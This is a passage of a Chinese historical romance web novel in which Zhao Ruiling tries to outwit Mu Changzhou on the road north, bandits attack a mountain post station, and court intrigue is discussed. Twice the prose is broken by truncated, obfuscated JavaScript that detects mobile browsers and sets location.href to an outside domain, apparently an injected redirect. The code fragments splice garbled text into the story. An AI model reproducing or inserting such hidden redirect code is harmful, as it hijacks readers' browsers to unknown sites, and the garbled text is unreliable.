见甄顺斜着眼,面色变幻不停,穆长舟将个香包扔进他怀里,抬脚踹到他腚上。 “闲着没事儿去把这香包拿给那女婢,不用说是我给的,别耽误赶路!” 甄顺:“……”明显他家郎君只对小娘子中邪,只恨他不是个女娘。 等车队继续出发,天儿又有些转阴,于旻吃过饭后晃悠着晃悠着又睡着了。 赵瑞灵将香包放在鼻下,总算缓解了恶心,也舒服了些。 她有些疑惑,“你什么时候准备的香包,先前怎的不拿出来?” 阿桥表情微妙看了眼外头,却不敢骗娘子,不然被发现了,娘子真能气哭给她看。 “是甄顺给的,他不叫我跟你说,这是他家郎君给的。” 赵瑞灵下意识就想将香包砸出去,可一抬手,就被马车颠簸的胃里翻腾,不得不把香包又靠近自己些。 这里面添了陈皮和银丹草,确实能让人止住恶心。 阿桥见娘子小脸儿时红时白的,又带着些赶路的狼狈,却无腌臜之意,只平添几分怜人风情,心下微动。 她凑到赵瑞灵耳边,小声道:“娘子,那位穆郎君怕不是对您有意吧?” 阿桥跟甄顺不一样,不会太过相信过去的经验。 她更明白一个男人看女人的眼神微妙,过去郎君归家看娘子时,可跟穆郎君有时候看过来的眼神差不多哩。 赵瑞灵听了阿桥的话,有些尴尬地挠了挠脸颊。 其实在大牢里的时候,她也如此怀疑过,但过后穆长舟的所作所为,无一不是为了算计袁翁。 至于对她……但凡他有丁点的风月心思,也不会提她如提小鸡子一般粗鲁。 她笃定道:“他肯定是为了哄我替他博功劳!” 袁翁嘴硬心软,给她的绢帛里,把圣都盘根错节的势力写得一清二楚。 虽还没看完,可圣人和太后之间的龃龉,还有他们对领了狼覃军大将军之职的穆长舟之拉拢,就写在最开头。 赵瑞灵渐渐生出点明悟,心里自少不得忐忑,却也生出些底气。 养猪还得先喂点好的呢。 她已了解过先前圣都寻阿娘的阵仗,穆长舟肯定是要哄她在太后面前说他的好话,如此也能在太后和圣人之间左右逢源。 他就做梦吧! 这不就是她将那人坑回来的机会吗? 见阿桥明显不信,她在阿桥耳边摩拳擦掌地哼笑。 “那等到了驿站,咱们就试试看,他肚儿里到底藏的是色心还是坏水儿。” 阿桥心头打了个激灵,总有些不好的预感。 娘子每回要干大事的出发点都格外能说服人,就是结果吧……还是不出发的好。 16.第 16 章 赵瑞灵从小就得耶娘疼爱,成了孤女入住于家后又得公婆疼惜,就连夫君、阿桥和于旻对她也越来越娇惯,概因她好像天生能拿捏造作和无理取闹的分界线,从不会无脑莽撞。 即便想找穆长舟麻烦,她也清楚,不能仗着自己还没被证实的身份趾高气扬……就袁翁给她的绢帛中所记载,人家指不定比谢氏身份还显赫哩。 前往驿站的一路上,赵瑞灵靠着香包止住恶心,就在车里跟阿桥咬起了耳朵。 下午雨过天晴,于旻伴着虫鸣鸟叫声醒过来,也兴致勃勃加入了嘀咕的行列。 及至夕阳西下,流云层卷,余晖即将没入丛林深处之前,车队在漫天的红霞中,终于到达了即将夜宿的翟山驿。 阿桥掀开车帘子,她旁边也挤出一大一小两个脑袋,好奇地往外看。 翟山是常州府郊外的一座荒山,连通湖州府和苏州府,翻过山就能到达阳湖岸口,而后他们登舟北上。 因江南水多,且有官道可前行,翟山又山路艰涩,虽路途近一些,平日里走翟山近路的游人极少。 翟山驿颇为老旧,连个迎出来的驿官都无,在这荒郊野岭外安静得非常阴森。 于旻缩着脖儿,抬起肉嘟嘟的小脸问阿嫂:“要不咱们等明天再行动吧?阿兄说过山里有山大虫咧。” 他后脊梁骨隐隐发凉,总觉得背后有山大虫在暗处窥探,越想越害怕。 赵瑞灵也胆小,但看着跳下马车冲她们挑眉戏谑的甄顺,她又支棱起来了。 “怕什么!” “婆母说过,那劳什子山大虫跟在小孩子背后啃脚跟的传言,是吓唬孩子的!” 她催促阿桥:“快,你先拉着阿旻下去,咱们到圣都后是战战兢兢给坏人数钱,还是能安生过富贵日子,就看你们俩的了!” 阿桥:“……”知道的是娘子要坑人,不知道的还以为娘子是要去打虎呢。 于旻被阿嫂的委以重任激发出了几分男子汉气概,哆哆嗦嗦地出溜下了马车。 “不好了!”于旻冲甄顺喊。 “阿嫂她歪着脚了!” 因为害怕越来越黑的山林,于旻小嗓音抖得非常欢快,不用演就带着十分惊慌。 甄顺纳罕:“在马车里还能歪着脚,怎么着,你阿嫂在马车里跳大神了?” 于旻被噎住。 他也觉得不合理,说扭着腰多好,就说是抱他抱的,他对自己的实心非常有自信。 阿桥也跟着下来马车,接上于旻的话解释,“娘子刚才急着要将香包还给穆郎君,先前踩了地上的积水,一时不注意打了滑。” 甄顺不太信,下午他也没马车听里面喊,但他也无所谓真假。 “那我背赵娘子……” “不行!”阿桥立马回绝,硬着头皮按着娘子教的说。 “你说过你还未曾娶妻……又年少有为,英俊潇洒,叫人瞧见了怕是要误我们娘子清白。” 这倒真是,甄顺咧嘴笑开,这小女婢说话就是实诚。 他格外配合道:“那怎么办?我叫驿站里的人做个担架,抬你们娘子进去?” 阿桥为难道:“我们娘子疼得厉害,还饿着肚子,实在等不得。” 她悄悄看了眼前头穆长舟的方向。 “你不能背,有人能背呀,反正甭管我们娘子是不是谢氏女,总归不会与人做妾,倒也不怕人误会了。” 甄顺顺着阿桥的方向看过去,瞬间恍然。 哦,这是要折腾他们郎君啊! 那确实,他们郎君比他大五岁,确实一把年纪了。 他眼珠子转了转,思及先前郎君的中邪,也没说他们家郎君鳏居已久,只嘿嘿笑。 “行,我去喊我们家郎君过来。” 穆长舟本就耳力非凡,即便没故意听,于旻和阿桥的声音不小,他早将几人的话听得差不多。 他可不是甄顺这种被人一夸就找不着北的棒槌,似笑非笑看了眼没动静的马车,心下清楚这小娘子又在闹妖。 这是猜出他有心交好,想要反过来拿捏他? 穆长舟心下哂笑,叫甄顺先伺候着袁修永主仆进门,自己大跨步往赵瑞灵马车那边去。 他背后伤口已然结痂,喝药后也没了邪风入体的症状,早就厌烦那些文人宽袍,今日穿的是武将束身翻领长袍。 黑色长袍以红线滚边,鎏金蹀躞带束出了穆长舟宽肩窄臀的颀长身姿,配上穆长舟人鬼莫近的强大气场,走过来的十几步路,硬是叫阿桥和于旻感觉到了扑面而来的煞气。 这可比山大虫背后灵吓人得多,俩人不自觉紧挨在一起,没了在甄顺面前的活泛。 穆长舟恨不能他们几个更害怕些。 但他说话却没露出凌厉来,只淡淡问:“在马车里崴着脚了?” 阿桥和于旻迟疑着点头。 穆长舟唇角微勾:“连马车都下不来,需要人背进去?” 阿桥和于旻继续点头。 赵瑞灵在马车里,没看到穆长舟这风雨欲来的模样,只听得出他说话比以前还温和,下巴忍不住就抬得更高了些。 她就说,这人肯定有所图,否则也不会一再创造机会对她和袁翁施恩,想要拿捏他们。 往后谁拿捏谁还不一定呢! “灵娘也是乍得知自己的身世精神恍惚,又几番受到惊吓,才会不小心受伤,要是严重了的话……咳咳~”她柔弱地轻咳两声,在马车内放软了声儿试探。 “郎君理解吧?我这人胆小,若真憔悴地拖着半条命见到未曾谋面的姨母,说不定会让人担心误会呢。” 穆长舟:“……”所以他不但不是人,还一把年纪到不得不善解人意。 他面上不动声色,貌似非常耐心问道:“理解,那娘子觉得,某要如何才能让娘子安心?” 赵瑞灵迫不及待掀开车帘子,冲阿桥挑挑眉。 看!她说什么来着? “这几日我进出行走不便,怕是得劳烦郎君了。”她冲穆长舟可怜巴巴地微笑。 “只要郎君别跟以前一样粗鲁,动不动就把人提起来,我自然不会受到惊吓。” 饭要一口一口吃,人要一点一点坑。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675995|172513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 先把人哄住,从他嘴里套出些圣都的辛密,等到了圣都,如果太后和圣人真如传言中那么重视阿娘,她定会告他一状,让他吃不了兜—— “啊——你,你干什么?”她还没在心里幻想完,只觉眼前一黑,视线突然一转,人突然就不在马车上了。 穆长舟长年习武,身手不凡,都不用上马车,就探身勾着赵瑞灵的腰,轻巧又动作温柔地将她……扛在肩上,横着下了马车。 他由着赵瑞灵在所有护卫明里暗里的探看下,跟个翻不过来身的小王八一样挣扎着,面无表情往驿站内走。 既然不喜欢被提起来,扛着就是了。 “你不是歪着脚了?若背着你,某怕赵娘子看着穆某这黑心的,耻于与穆某这样一把年纪的为伍,不愿进门。” 赵瑞灵:“……你,你在说什么,我听不懂,你放我下来!” 他怎么又听到她在背后说的话了啊啊啊! 她的胃被他太过坚硬的肩膀顶得难受,突然有些后悔起自己的试探行为。 小鸡子在黄鼠狼面前耀武扬威,能有什么好下场呜呜呜…… “我错了,我脚不——哎哟!”她的话被穆长舟一个轻巧的颠簸给打断。 穆长舟若有所指拍了拍赵瑞灵踢腾得过于活泼的腿儿,当没听到她的话。 “娘子怎会错,是穆某先前做错了,如此也能替你看着受伤的腿脚,这几日穆某定会好好照顾娘子,免得袁翁担忧,又觉得穆某不怀好意。” 这可不是他来招惹,全是这小娘子自找的。 若然这回镇不住,一路上她还不定要怎么闹腾呢。 阿桥和于旻目瞪口呆看着赵瑞灵被扛着呜呜嗷嗷进了门,都不用看倒栽葱一样的娘子什么表情,两人也知道赵瑞灵肯定气疯了,一会儿怕是要挠人。 可那穆郎君……就是于旻这样几岁的孩童都知道,要是对方被阿嫂挠了,说不定真会揍人啊!! 俩人醒过神,赶忙往里头追。 赵瑞灵确实气疯了。 她从小到大还从没碰上过如此不讲理的人,更没丢过这么大的人,那么多护卫都看到了,往后她还怎么做人? 这会子她想不起是自己先撩的,只在落地的瞬间,气得手脚并用,要打死这个不按常理出牌的混蛋。 不止如此,她怕打不过对方,嘴里还在摇人。 “袁翁您看看这人啊,他欺负——啊!” 她抬起的胳膊被穆长舟攥在掌心一拉,话还没说完,人就被他拉到了背后。 赵瑞灵踉跄着站住,这才顾得上抬起头去看周围,一抬头就被惊得小脸煞白。 十几个五大三粗,凶神恶煞的黑衣大汉,正虎视眈眈包围着被甄顺和湖州巡察司护卫护在身后的袁修永主仆,地上还有不知是谁的血。 不是对方人少,是驿站太小站不下,往二层去的楼梯上也站着十几个黑衣汉子。 听到动静,对方回过头,有一半人马迅速提着刀转过身。 锃亮的大刀在昏暗的驿站内依然带着嗜人锋芒,吓得赵瑞灵瞬间失了声。 17.第 17 章 阿桥担忧赵瑞灵安危,紧跟在穆长舟身后进了门,瞬时便被这剑拔弩张的场面惊住。 虽然阿桥平日里撵狗杀鸡骂架无一不精,却不曾经历过这种要命的大场面,魂儿都要吓飞了。 她下意识将于旻护到身后,然后……飞快躲到赵瑞灵身后,努力将自己缩成一团。 不是她胆小怕事,她家娘子比她躲得还严实,那什么……天塌下来,还有高个子顶着嘛。 赵瑞灵其实比阿桥预料得稍微好点。 她小时曾被阿耶扛在脖儿上一起进山,碰到过野猪,还跟阿娘一起采药,抓到过毒蛇。 寻常一个小虫子就能叫她蹦起来,但在事关生死之时,害怕到极致,她反而僵着身体冷静下来了。 她始终记得阿娘的话,不冷静是个死,冷静才可能有一线生机。 赵瑞灵细心地察觉到,地上的血迹不是袁翁和甄顺他们的,反倒这些黑衣大汉如同惊弓之鸟,身上都带着伤痕。 血要不是这些人的,就是驿官儿的。 也对,要是打起来,就她身前耳朵比狗还好使的这位,在外头就能听到屋内打斗的动静。 她这会儿完全忘了刚才跟穆长舟的龃龉,要多乖巧又多乖巧,只滴溜溜的大眼睛盯着袁修永那边,努力思考着要是打起来,该怎么保护袁翁和于旻退出去。 果不其然,甄顺见穆长舟进来,立刻扬声道—— “各位壮士,我等不过是绕近路归京的北地人士,无意掺和任何争斗!” “这是我家郎君,只要你们让开一条路,我们郎君便可下令,我等即刻就走。” 二楼上传来一声冷笑,楼梯上的黑衣大汉让开地方,露出个面上沾染着血迹的长髯中年男子。 “走?走哪儿去?”中年男子在穆长舟蹀躞带上垂下的玉佩和佩刀上扫过,面上瞬间带出几分阴森。 “北地来的武将?呵……你们是打算去给常州知州报信吧?他卸磨杀驴的时候倒是肯下血本!” 穆长舟隐约闻到淡淡的鱼腥气,目光在黑衣人的长刀上一扫而过,隐约猜出是怎么回事。 这些人手里拿的,是朝廷派发给各州的制式长刀。 巡察司早前送进圣都的奏疏上奏,说常州和苏州一带有水匪为患,经常在阳湖、太湖一带抢劫来往商船,甚至连权贵家眷都有被掳掠的情况发生。 常州和苏州二府对此却一直无所作为,极有可能已与水匪勾结,欺压弱小州郡,请求朝廷派兵剿匪。 圣人早觉前朝根深蒂固的郡县制和本朝艰难推行的州县制太过混乱,有些偏远州下只有县,知州手里几乎没有官兵可用,如湖州府。 但有的州下却有数个郡县,掌控各郡官兵,巡察司只有巡查之能,受制于知州,却不受朝廷遏制,知州掌管一州军政权势太大,如常州府。 圣人有心改制,重新划分十三道下为州、郡、县,州设知州掌管民生,受朝廷指派来执掌官兵的州牧管辖,巡察司掌巡查事,直接对朝廷上奏,将军政分开。 州下郡内设长史、刺史和巡察使,分别对应军、政和朝廷,如此州、郡、县都要受朝廷管辖。 穆长舟此行南下,一是为请袁修永归京,二是为将巡察司探查南地各道的具体情形送回圣都。 先前巡察司给他的情报,他已借袁修永上奏的时机,一起送上去了。 眼前这群被人追杀的黑衣人,怕是跟常州知州沆瀣一气的水匪。 常州知州如提前得知圣都动向,想擦干净屁股,好应对朝廷即将派遣下来的州牧和刺史,倒也说得过去。 穆长舟沉默的片刻工夫,赵瑞灵都快把他的蹀躞带给抓下来了。 他无奈伸出手攥住赵瑞灵造作的小手。 阿桥和于旻都呆呆看着赵瑞灵,穆郎君……这是在占娘子/阿嫂便宜吧? 但赵瑞灵却没察觉,只仔细听着穆长舟对那领头的说话。 “我与常州知州并无交情,此行替友人接亲眷北上,真要打起来,你们未必是我的对手。” “若放我们离开,你们与常州府之间的龃龉,我只当没看到。” 他的伤势还没好,还护着个小老儿跟背后这不老实的小娘子,打起来刀剑无眼,伤着哪个都不好交代,只能压着性子转圜一二。 至于回到圣都,怎么跟圣人禀报,那就是另外一回事了。 领头的不信他,只冷笑道:“好啊,你若真跟那姓刘的没关系,不如就在翟山驿多做几天客,待我收拾了那姓刘的小人,就放你们北归,如何?” 穆长舟不耐烦地啧了声,眉眼中的客套转瞬间就带上了冷唳。 他反手拥着赵瑞灵往角落里一推,抬起眸子睨那领头的。 “那就是没得商量了,动手!” 最后两个字还未曾落地,他手中的长刀便以异常刁钻的姿势落在包围他们的黑衣人手腕上,割断了好几个人的手筋。 对方还没反应过来,手中的长刀便伴随着惨叫落了地,惊得好些黑衣人都不自觉后退几步。 赵瑞灵被推得趔趄了下,却没跟以往一样鼓起小脸儿来,只飞快拉着阿桥和于旻后退。 黑衣人的惨叫像开战的擂鼓,甄顺和护卫们也立马冲上去跟黑衣人打在了一起。 门外被甄顺提声惊动的护卫也都冲了进来。 因为怕外头也有对方的人马暗中潜伏,留下几人护着赵瑞灵她们躲在角落,其他人都跟黑衣人打在了一起。 “你抱紧阿旻,躲到角落的水缸后头!”赵瑞灵急促地压低声音对阿桥吩咐,转身往袁翁那边跑。 阿桥紧紧抱着于旻,将他脑袋压在自己肩膀上,拉住要离开的赵瑞灵,嗓音直发抖。 “娘,娘子,你别乱跑!会死人的!!” 赵瑞灵顾不得解释,急切推阿桥一把,“你先躲好!” 如此危急的时刻,赵瑞灵脑子却空前的清明。 她刚才仔细观察过,袁翁他们斜对面门上挂着灶王爷。 只要带着袁翁躲到后厨,顶住门,甄顺他们就能放开了杀敌。 如果袁翁有什么闪失,她们三人进入圣都,就像小羊羔进了狼群,就连眼下护着她们的穆长舟和这些护卫们,都可能会转头过来在她们身上咬下一块肉来。 只有袁翁活着,这小老儿嘴硬心软,又认识阿娘,定会护她周全,她们才能在圣都站稳脚跟,让阿旻传承阿兄的衣钵。 如果真死在这儿……就,就当提前到地底下跟阿兄相会了,袁翁不会不管阿桥和阿旻。 她白着小脸儿,避开护卫和黑衣人的打斗,咬紧牙关往袁修永那边冲。 穆长舟杀敌无数,对付这群乌合之众不算费力,虽然对方人比他们多一些,也不算太麻烦,只冷着 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“你这小娘子……”躲好后,袁修永张嘴就想骂。 他年纪大了,刚才还跟袁大丰一起对付黑衣人,还差点被刀伤着,一安全下来,就有些乏力地跌坐在地上,眼前一阵阵发黑。 不过他对赵瑞灵却有些改观,原先从谢如霜的信里,还有于泓口中听说的赵瑞灵,都是个胆小怕事又娇气的。 可到了生死攸关的时候,她胆子却比任何人都肥,是真敢往这边冲啊! 如此,他倒又欠谢氏女一条命,这恩算是还不完了。 他叹口气,一时不知该骂赵瑞灵什么是好,只无力道:“你离门口远一点!” 赵瑞灵顾不得狼狈和跌倒的疼,没离开门口,只用力顶着门。 她都不顾生死,跟急着去投胎一样冲过来了,该表的功,该讨的巧一样也不能丢。 “袁翁您,您不必担心,我护着您!就算是死……死我也死,死在您前头。” 袁修永:“……”但凡这小娘子脸色没那么白,声音没那么抖,他都信了。 他吞咽着唾沫,润了润干到泛着血腥味儿的嗓子,冲赵瑞灵招手,反过来安抚她。 “你过来先休息会儿,有穆家小子他们守在外头,那些人进不——” “哎哟!”他话还没说完,赵瑞灵顶着的门被特别大的力道撞上,撞得赵瑞灵惊呼着跌出去,正好趴在袁修永脚边。 一抬头,她鼻血就下来了,和着眼泪幽幽望向袁修永。 袁修永:“……”那穆家小子就不能争气点? 是个黑衣人跌进来,看到躲在后厨的赵瑞灵和袁修永,眼神猛地一亮,龇牙咧嘴抓着刀爬起来往这边冲。 赵瑞灵大脑一片空白,却不忘自己原本的目的,下意识捂着鼻子闭上眼,挡到袁修永前头。 呜呜阿兄我下来找你了! 她刚挓挲开双手,突然就被带着温热的血腥味儿喷了一脸。 睁开眼,她好似看到高大威猛的阎罗,一刀削飞了那黑衣人的头颅。 那阎罗还紧皱眉头看着她,声音如同天外来音,还有些阴阳怪气。 “脚崴了还跑得挺快,下回给你打折了试试。” 赵瑞灵:“……”她一定是在做噩梦! 18.第 18 章 赵瑞灵做了个噩梦,梦里有她从未曾预料过的腥风血雨,还有让人恨得牙痒的黑衣阎罗。 在梦里,她英勇无畏地穿越血雨腥风去救袁翁,虽然英勇……但也确实吓人,她死咬着舌尖才忍住没哭出来。 就在她历尽艰险,即将带袁翁逃离那些魑魅魍魉之时,黑衣阎罗追着魑魅魍魉靠近,然后一刀下去—— 骇人的恶鬼头颅落地,咕噜噜地滚落,碰到她脚尖停了下来。 她低头,在血光朦胧中,对上黑衣人不能瞑目的双眸,还有对方几乎要咧到后脑勺的大嘴。 对方张狂地大笑着。 “好消息,娘子不用去找你阿兄了,我替你去哈哈……坏消息是,娘子已身在地狱了哇哈哈哈……” 黑衣阎罗也配合着发出阴森低笑,冷厉的声音从四面八方向她涌来—— “赵灵娘,欢迎来到下十八层地狱!” “赵灵娘,来十八层地狱!!” “赵灵娘……” “啊!”赵瑞灵惊喊着坐起身,苍白的小脸儿上全是被吓出来的冷汗。 阿桥端着药汤子进门,听到动静,疾步上前。 “娘子做噩梦了?”她将药碗放在床头,小心翼翼抚着赵瑞灵的后背轻声安抚。 “娘子别怕,水匪已被穆郎君他们打杀了,剩下的几个活口审问过后,也已叫人送往常州府。” 赵瑞灵眼神呆滞片刻,被阿桥安抚着缓下心跳,虚弱地看了眼周围陌生的环境,记起自己先前是被吓晕了。 她皱眉问:“这是哪儿?阿旻和袁翁他们怎么样了?” “我们还在翟山驿。”阿桥小声道。 “二郎受了惊吓,有些起烧,喝了药睡下了,袁翁……崴了脚,袁老丈给袁翁正了骨。” “护卫也有好几个受伤的,实在不适合赶路,只好继续夜宿在翟山驿,先休整几日再出发。” 万幸的是,翟山驿隶属苏州府,又因为地处荒僻,每回从山下采买上来的吃食和药材都不少,足够他们这么多人用上半个月没问题。 翟山驿的驿官确实被水匪杀了,先前大堂的血就是那驿官的。 但水匪估计也不精通庶务,留了驿站的三个驿卒性命,打算叫他们伺候,当时就被绑在柴房里。 被救的驿卒对他们一行人格外感激,告知了物资充足的事儿,还帮着护卫们尸体和血迹都收拾干净,让众人住了下来。 “娘子先喝药,你先前摔伤了,这药能免风邪入体。”阿桥语速飞快说完话,端起药碗就往赵瑞灵面前怼,眼神不动声色往赵瑞灵脑门儿上瞟,生怕她想起些什么。 赵瑞灵听阿桥说袁翁脚崴了,就记起先前穆长舟砍人脑袋,还冷着声儿对她阴阳怪气的场面了。 那混蛋一定是故意吓唬人,才会削飞黑衣人的脑袋! 先前他在大堂里杀人可没冲脖子使劲儿,都是往人心窝子捅。 她又不是胡闹,明明发现了能躲藏的地方,她难道能眼睁睁看着袁翁陷入危险中? 就算他救了她和袁翁,要是她没死在黑衣人手里,却被他那杀人如麻的血腥模样吓死,到了地底下她都能气活过来。 赵瑞灵只觉气得脑门儿都疼……嗯? 她没接阿桥的药碗,抬手往脑门上摸—— “嗷!”赵瑞灵摸到脑袋上的包,疼得差点蹦起来,眼眶瞬间就积聚起了晶莹。 倒不是疼的,她本来浑身就疼得厉害,这回是气的。 她记得当时自己护在袁翁前头,那人头又落在自己前面,那她岂不是跌在……那人可是死不瞑目脸朝上啊! “啊啊啊!”赵瑞灵都气忘了疼,翻身就想往外冲。 她要挠死那个狗东西!! 阿桥也想起娘子当时摔在对方脑袋旁边的姿势,那面对面的距离连一拳都放不下,有些惊魂未定,又有些想笑。 若不是袁翁拉了一下,娘子的清白还在不在都两说。 她赶紧拉住气疯了的赵瑞灵,“娘子你先别生气,你就是气死自己,你也打不过穆郎君啊!” 赵瑞灵被噎得胸口疼,气得眼泪直往下掉,瞎说什么大实话,更气了呜呜呜~ 她一边喝药一边咬牙切齿地哽咽:“我就是打不过他,我还能骂他,反正不能让他好过呜呜~” 阿桥对自家娘子无能狂怒的模样不说熟悉吧,反正也不陌生。 她却跟娘子有不一样的看法。 通过今儿个这一遭,阿桥意识到穆长舟和甄顺他们的武力值有多高。 外头的世道太危险,这里离湖州府才不过百余里,听闻北地人彪悍,那越往北岂不是越危险? 她伺候着赵瑞灵喝完药,又取了药膏子给赵瑞灵擦伤……和摔伤的地方抹药,继续苦口婆心地劝。 “娘子又何必要与他一个莽夫计较。”她把最后四个字说得特别小声,怕人听到,跟做贼一样靠近赵瑞灵。 “娘子你可是才绝娘子之后,最擅长的可是谋算啊!” “先前娘子盘算得就好极了,既他身份不低,对圣都了解想必不比袁翁少,甚至更多,好歹哄着他把该说的都说了,才不枉费您受的罪不是?” “而且出行在外多危险,咱们和袁翁还要仰仗他和那些护卫……只要娘子安全到圣都,得了太后娘娘的喜爱,不有的是收拾他的时候?” 当然了,阿桥觉得,就穆郎君那种位高权重又小心眼子的,最好还是别把人得罪狠了,跟这样的人做朋友远比做敌人好得多。 可显而易见,如今娘子听不进去这种话,她敢说娘子就敢炸毛,还是等娘子消气之后再慢慢劝。 赵瑞灵被咽下去的药苦得肠子都打结,那股子气势汹汹的恼羞成怒不自觉消下去大半,露出若有所思的神情。 阿桥说得对,她何必以己之短攻彼之长,打是打不过了,动脑子她还能动不过那莽夫? 赵瑞灵住右上房,左上房留给了袁修永,穆长舟和护卫们都住到了厢房。 阿桥在右上房跟赵瑞灵嘀咕的时候,甄顺看着自家郎君重新开裂后更加狰狞的伤口,一边给他上药一边发愁。 “您说您都把人忽悠着北上,人也救了,何必非要把人给得罪狠了呢?” “这下可倒好,袁翁看您鼻子不是鼻子眼不是眼的,那小娘子也头角峥嵘,怕是醒了就得跟暴怒的火龙一样烧过来。” “这要是到了圣都,袁翁为太子师,得圣人和太子尊敬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692924|172513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以那小娘子的身份必会受太后看重,感情好事儿您做了,偏落个里外不是人……” “闭嘴!”穆长舟不耐地打断甄顺,自己拽过纱布,面无表情抬起胳膊将纱布在身上裹好,丝毫不管背后瞬间氤出的血迹,好像一点都不疼。 “虽那几个水匪已送去常州府以作示好,谁也不知那刘知州会不会胆大包天到想把知情人全都灭口。”他冷声吩咐。 “你先去让护卫们分成三班值守。” 甄顺说的道理,穆长舟难道不懂吗? 他身为穆氏家主,心眼子比甄顺这棒槌多得多,自是明白今日这一出的弊端。 原本穆长舟还想着跟谢氏女交好,毕竟他受过谢如霜的恩,如今也全没了心思。 在战场上,如果有人不听指挥瞎胡闹,别说救人了,只会死更多人,还有可能被人抓住软肋,引出更多麻烦。 先前如果赵瑞灵老老实实躲起来,袁修永就算受伤,只要甄顺和护卫没死绝,就不会有性命之危,了不起断胳膊断腿儿,起码能活着。 可赵瑞灵倒好,他进后厨时,她和袁修永一个干瞪眼,一个闭眼引颈等死,他实在不喜这种主动找死,不把性命当回事的行为。 就算那不老实的小娘子不识好歹,也得能平安进得了圣都再说。 到时他们欠着穆氏救命之恩,袁修永理智还在,那小老儿轻易不会跟穆氏为敌,自会约束赵瑞灵。 “袁翁已想到这点了,常州知州刘辎是袁氏姻亲之后,他特地叫袁大丰带着他的书信跟护卫一起去常州府了。”甄顺叹了口气,难得跟阿桥心有灵犀,实在不认同自家郎君的想法。 “我说郎君,您可别小瞧了女子。” “圣都宫里那两位还没叫您看清楚?这女娘吹起枕头风,可比刀剑好使,一旦她们狠下心又有了权势,男儿也只能伏地乞怜。” 他说的是皇后和太后。 圣人耳根子软,知道太子的身体随自己,天生体弱,实不是最佳继位人选,却因皇后的坚持和枕头风,一直提拔皇后娘家人,为太子琮立势。 太后虽与圣人不是亲母子,却也凭着陪先圣打天下的功劳,得了圣人敬畏,更在诸多文臣武将中影响颇深,哪怕不靠英国公府,也足以让渭王琰与太子琮分庭抗礼。 “如若那小娘子在太后提起您时表露不喜,英国公府另说,太后再理智,也不会信任您。” “圣人那边就更不必说,您早前拒了鲁国公府的提亲,皇后就一直瞧您不顺眼,太子体弱,圣人担心您以后挟天子令诸侯,怕也不会重用您。” “往后狼覃军说不定会落入他人之手,被当成替死鬼,为旁人博功劳!” 甄顺最清楚郎君的心结在哪儿。 只几句话就说得穆长舟面色一变,神色瞬间冷硬许多,却没再说什么不中听的话。 甄顺赶忙劝道:“何不如您先忍一忍,先叫赵娘子对您改观,好歹先顺利回到咱西北都护府再说啊!” 只要先把那小娘子哄住,借太后的势把好处拿到手,往后两人天南海北,各走各的阳关大道多好呢! 穆长舟沉默好一会儿,才冷幽幽地问:“你这么能说,那你说说看,怎么才能哄住那小娘子?” 21、入v公告 穆长舟不至于跟个稚童计较。 他能看出,于旻对下午那场搏杀还惊魂未定,怕是不敢自己待着。 说不定那小娘子故意的……穆长舟正想着,于旻躺下片刻功夫,真真神色放松,睡得打起了小呼噜。 果然,这是故意把他做辟邪的阎王使。 穆长舟气笑了,明明有时看起来挺蠢个小娘子,有时却又狡黠得叫人牙痒。 甄顺第二日一大早就下山,请了附近医堂的坐馆堂医来。 老大夫给袁修永、穆长舟并于旻都诊过脉,开了药方子,还留下好几包安神的药。 常州知州也很快派了管家过来,丝毫未提水匪之事,只给袁修永和穆长舟送了好些仪程。 袁修永并未出面,只叫袁大丰打发了对方。 送走了那管家,暗地里听着的甄顺进厢房跟穆长舟禀报。 那刘家管家话里话外的意思,全是说他们家郎君知错,已写了请罪的条陈送往圣都,一切听候圣人和主家发落。 甄顺颇为纳罕,“看常州知州对那些水匪的态度,倒是瞧不出这□□是如此通情达理之人诶!” 穆长舟微哂,通情达理?笑话。 袁家大郎在圣都任御史中丞,虽官职不高,只是正五品,进一步却是御史台的一把手御史大夫,前途无量。 御史台监察百官,上可直达天听,劝谏君王,下掌各道巡察司,督查百官。 袁家二郎在河南道任一道观察使,同样是官职不高却能直达天听的存在。 更不用说袁修永即将任职从一品的太子太师一职,即便无实权,却可左右储君乃至圣人的所思所想。 刘氏作为袁家姻亲,除去出了个驸马以外,并未什么能干之人,对袁氏的实力也比其他人更加了解。 对上穆长舟这个威名在外的醇国公,那胆大包天的□□说不定都敢生出灭个口的心思。 但袁修永要归京的消息已送到圣都,□□只要得知此事,就绝对不敢动袁修永。 毕竟穆长舟若死在外头,圣都弹冠相庆的官员,妄图取而代之瓜分狼覃军的武官不计其数。 可若袁修永因□□出任何意外,同气连枝的清流世家能把刘氏满族都生吞活剥咯。 这也是那些手不能提肩不能挑的文官,叫穆长舟这个杀敌如麻的大将军也得忌惮的缘由。 思及此处,穆长舟突然没了跟赵瑞灵和袁修永交好的念头,他们这些文人瞧不起武将又不是一天两天了,何必白费力。 五日后,穆长舟的伤口重新结痂,袁修永也休养得差不多,众人继续赶路。 袁修永把赵瑞灵叫进了自己的马车,准备多教她些东西。 以前袁修永了解的赵瑞灵,是个比寻常小娘子更娇弱的女娘,即便她不自量力要认祖归宗,他也只想尽力护她性命无忧便是。 谢如霜曾在给他的密信里说,她失忆七载,与夫君遭遇生死危机时才机缘巧合恢复记忆。 她女儿并未继承谢氏任何才能,她深谙圣都之水深,惶恐于末途,别无所求,只求赵瑞灵隐姓埋名,做个普通人幸福无忧一辈子…… 